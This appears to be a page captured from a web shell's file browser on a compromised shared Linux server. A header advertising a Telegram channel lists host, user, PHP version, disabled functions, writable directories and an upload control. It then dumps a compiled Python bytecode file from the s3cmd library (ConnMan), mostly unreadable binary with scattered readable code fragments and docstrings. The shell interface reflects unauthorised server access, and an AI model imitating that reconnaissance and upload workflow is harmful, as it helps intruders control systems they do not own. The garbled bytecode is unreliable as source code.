https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/S3/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/S3/__pycache__/ConnMan.cpython-310.pyc
o

�Qa�2�@s�ddlmZddlZejdkrddlmZnddlmZddlZddlm	Z	ddl
mZddlmZzdd	l
m
Z
WneyIdd	lm
Z
Ynwdd
lmZddlmZmZddlmZd
gZGdd�de�ZGdd
�d
e�ZdS)�)�absolute_importN)�r�)�httplib)�debug)�	Semaphore)�time)�urlparse)�Config)�ParameterError�S3SSLCertificateError)�getBucketFromHostname�ConnManc@sjeZdZdZdZedd��Zedd��Zedd��Zed	d
��Z	dd�Z
d
d�Zeddd��Zdd�Z
dS)�http_connectionNFcCsJt�}d}ztj|d�}Wn	tyYnw|r#|js#d|_td�|S)N)�cafileFz+Disabling SSL certificate hostname checking)r
�ssl�create_default_context�AttributeError�check_ssl_hostname�check_hostnamer)r�cfg�context�r�,/usr/lib/python3/dist-packages/S3/ConnMan.py�_ssl_verified_context(s�
z%http_connection._ssl_verified_contextcCs8td�d}ztj|tjd�}W|StyY|Sw)Nz"Disabling SSL certificate checking)r�	cert_reqs)rr�_create_unverified_context�	CERT_NONEr)rrrrr�_ssl_unverified_context6s���z'http_connection._ssl_unverified_contextcCsBd}z|rtjntj}tj||||d�}W|Sty Y|Sw)N)r�keyfile�certfiler)r�
CERT_REQUIREDrrr)r r�check_server_certrrrrrr�_ssl_client_auth_contextAs���z(http_connection._ssl_client_auth_contextcCs�tjrtjSt�}|j}|dkrd}|jpd}|jpd}td|�td|�td|�|dur9t�|||j	|�}n|j	rBt�
|�}nt�|�}|t_dt_|S)N�zUsing ca_certs_file %szUsing ssl_client_cert_file %szUsing ssl_client_key_file %sT)r�context_setrr
�
ca_certs_file�ssl_client_cert_file�ssl_client_key_filerr#�check_ssl_certificaterr)rrr rrrrr�_ssl_contextNs&





zhttp_connection._ssl_contextcCs�td�|�dd�}|��}tdtj�j}|D]D\}}|dkr\|��}|�d�r3|�d�r3|�d�s=|�d�r@|�d�r@d	S||d
tj	��d�kr\|�|dtj	��d��r\d	Sqd
S)a�
        Wildcard matching for *.s3.amazonaws.com and similar per region.

        Per http://docs.aws.amazon.com/AmazonS3/latest/dev/BucketRestrictions.html:
        "We recommend that all bucket names comply with DNS naming conventions."

        Per http://docs.aws.amazon.com/AmazonS3/latest/dev/VirtualHosting.html:
        "When using virtual hosted-style buckets with SSL, the SSL
        wild card certificate only matches buckets that do not contain
        periods. To work around this, use HTTP or write your own
        certificate verification logic."

        Therefore, we need a custom validation routine that allows
        mybucket.example.com.s3.amazonaws.com to be considered a valid
        hostname for the *.s3.amazonaws.com wildcard cert, and for the
        region-specific *.s3-[region].amazonaws.com wildcard cert.

        We also forgive non-S3 wildcard certificates should the
        hostname match, to allow compatibility with other S3
        API-compatible storage providers.
        z6checking SSL subjectAltName as forgiving wildcard cert�subjectAltNamer�https://�DNSz*.s3z.amazonaws.comz.amazonaws.com.cnT�*)�bucket�locationr$F)
r�get�lowerr	r
�host_bucket�hostname�
startswith�endswith�bucket_location)�self�certr4�san�cleaned_host_bucket_config�key�valuerrr�forgive_wildcard_certis6
��������z%http_connection.forgive_wildcard_certc
Cs~|jj��}z
t�||j�WdStyYdSty#YdSty>}z|�	||j�s3|�WYd}~dSd}~ww�N)
�c�sock�getpeercertr�match_hostnamer4r�
ValueError�S3CertificateErrorr>)r8r9�errrrC�s���zhttp_connection.match_hostnamecCs�z4t��}t|�\}}|rd|vrtd�d}|rd|_n|r#|j}nd}tj||||d�}td�W|Styaztj|||d�}td�WY|Sty`t�||�}td	�YY|Sww)
N�.zHBucket name contains "." character, disabling initial SSL hostname checkFT)rrz=httplib.HTTPSConnection() has both context and check_hostname)rz*httplib.HTTPSConnection() has only contextz@httplib.HTTPSConnection() has neither context nor check_hostname)rr*r
rrr�HTTPSConnection�	TypeError)r4�portr�bucket_name�successr�connrrr�_https_connection�s4�

����z!http_connection._https_connectioncCs8||_||_d|_td|�}|j|_|j|_|jr-|jdkr-|j�d�|_td|j�nd|_	|j	sZ|rHt
�|j|j�|_td|j|j�nNt
�|j|j�|_td|j|j�n<|r�t
�|j	|j�|_td|j	|j�|jrs|jptd}|j�|j|�td	|j|�nt
�|j	|j�|_td
|j	|j�t�|_dS)Nrr,�/zendpoint path set to %sz#non-proxied HTTPSConnection(%s, %s)z"non-proxied HTTPConnection(%s, %s)zproxied HTTPSConnection(%s, %s)i�ztunnel to %s, %szproxied HTTPConnection(%s, %s))r�id�counterr	r4rJ�path�rstripr�
proxy_hostrrNr@r�HTTPConnection�
proxy_port�
set_tunnelr�last_used_time)r8rPr4rr�parsed_hostnamerJrrr�__init__�s4zhttp_connection.__init__r?)�__name__�
__module__�__qualname__rr%�staticmethodrrr#r*r>rCrNrZrrrrr$s 




($rc@sLeZdZejZejZe�ZiZdZ	e
d	dd��Ze
dd��Ze
dd��Z
dS)
ri NcCsHt�}|dur
|j}d}|jdkr%|rtjdkrtd��d|j|jf}n
d|r*dp+d|f}tj�	�|tj
vr>gtj
|<tj
|rutj
|��}t�}||j
|jkre||j
kretd|j|jf�ntd�t�|�d}tj
|sCtj��|s�td	|�t||||�}|j��|jr�|jr�|jr�|��|jd
7_|S)Nr$iz6use_https=True can't be used with proxy on Python <2.7z
proxy://%s:%szhttp%s://%s�sz)ConnMan.get(): re-using connection: %s#%dz)ConnMan.get(): closing expired connectionz*ConnMan.get(): creating new connection: %sr)r
�	use_httpsrT�sys�
hexversionrrVr�
conn_pool_sem�acquire�	conn_pool�poprrX�connection_max_agerrPrQ�close�releaserr@�connectrr)rrC)r4rrrM�conn_id�cur_timerrrr1�sD






�

�


zConnMan.getcCs�|j�d�rt�|�td�dS|jtjkr"t�|�td�dSt�}|js3t�|�td�dSt	�|_
tj��tj
|j�|�tj��td|j|jf�dS)Nzproxy://zFConnMan.put(): closing proxy connection (keep-alive not yet supported)z+ConnMan.put(): closing over-used connectionz?ConnMan.put(): closing connection (connection pooling disabled)z2ConnMan.put(): connection put back to pool (%s#%d))rPr5rrhrrQ�conn_max_counterr
�connection_poolingrrXrcrdre�appendri)rMrrrr�put"s(






�zConnMan.putcCs|r	|j��dSdSr?)r@rh)rMrrrrh>s�z
ConnMan.closer?)r[r\r]r�_CS_REQ_SENT�CONTINUErrcrermr^r1rprhrrrrr�s%
)�
__future__rra�version_info�Custom_httplib3xr�Custom_httplib27r�loggingr�	threadingrrr	�ImportError�urllib.parser
�
Exceptionsrr�Utilsr
�__all__�objectrrrrrr�<module>s*
�R

https://t.me/RX1948 - 2025